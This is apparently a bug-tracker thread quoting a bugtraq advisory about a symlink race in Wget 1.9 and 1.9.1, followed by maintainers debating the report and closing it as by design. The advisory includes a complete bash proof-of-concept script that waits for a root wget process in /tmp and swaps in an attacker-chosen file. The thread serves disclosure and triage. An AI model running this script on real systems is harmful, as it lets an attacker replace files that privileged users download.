Hugo Vazquez Caram
Hugo Vazquez Caramés has discovered a vulnerability in wget and published it on bugtraq. This is his email, a working POC is included: Tested software: Wget 1.9, Wget 1.9.1 Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack (only on world writable directories) This is the attack sequence: 1) Wget process starts 2) File checking (but not locking!) <--- attacker creates symlink 3) Wget writes on the wrong place As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking". 1)Open a shell and execute wget_race.sh with user A. 2)Open another shell and with root user launch wget from /tmp: wget http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.26.bz2 3) Check the content of /tmp/patch-2.4.26.bz2 Smile :-) --------------- wget_race.sh ------------------------ #!/bin/bash rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2 echo "1">salida.txt a=`cat salida.txt` echo "Waiting for Wget execution..." while [ "$a" == 1 ] do ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt a=`cat salida.txt` done echo "Process catched!" pgrep -u root wget>pid.txt ln -s /dev/null /tmp/patch-2.4.26.bz2 echo "/dev/null link created!" echo "Waiting for downloading to finish..." b=`pgrep -u root wget` touch $b.wget c=1 while [ "$c" == 1 ] do if [ -e .wget ] then c=0 echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)" rm -f /tmp/patch-2.4.26.bz2 echo "Surprise!">/tmp/patch-2.4.26.bz2 echo "Does it worked?" ls -la /tmp/patch-2.4.26.bz2 else b=`pgrep -u root wget` touch $b.wget fi done ----------------------------------------------------- This flaw open a wide range of attack vectors. Any program wich runs wget from a world writable directory is vulnerable. Hugo Vazquez Caramés hugo@infohacking.com Reproducible: Always Steps to Reproduce: See POC by Hugo Vazquez Caramés
Hmm I'm not that sure about that one. I think the problem comes from having an application using wget to save a temporary file in a world-writable location without first checking for a symlink attack. I'm not sure it's wget's fault. It is rather the wget-calling application's fault. "cp" exhibits the same behaviour, yet nobody says cp is vulnerable. Please anyone, prove me wrong ?
If someone submits a patch to fix this behaviour, we'll consider it. If nothing is submitted in the next 4 days we'll consider this is normal behaviour and close as WONTFIX. Tobias : did the poster follow-up with a patch or was there a discussion to support his point of view ?
There are no follow up messages on bugtraq and full-disclosure. Let's just wait those 4 days and then do as you propose. I'll keep an eye on bugtraq and full-disclosure meanwhile. Tobias
No fix -- this behaviour is by design and any developer using wget in his application should avoid world-writable directories as temporary store. Closing as CANTFIX.
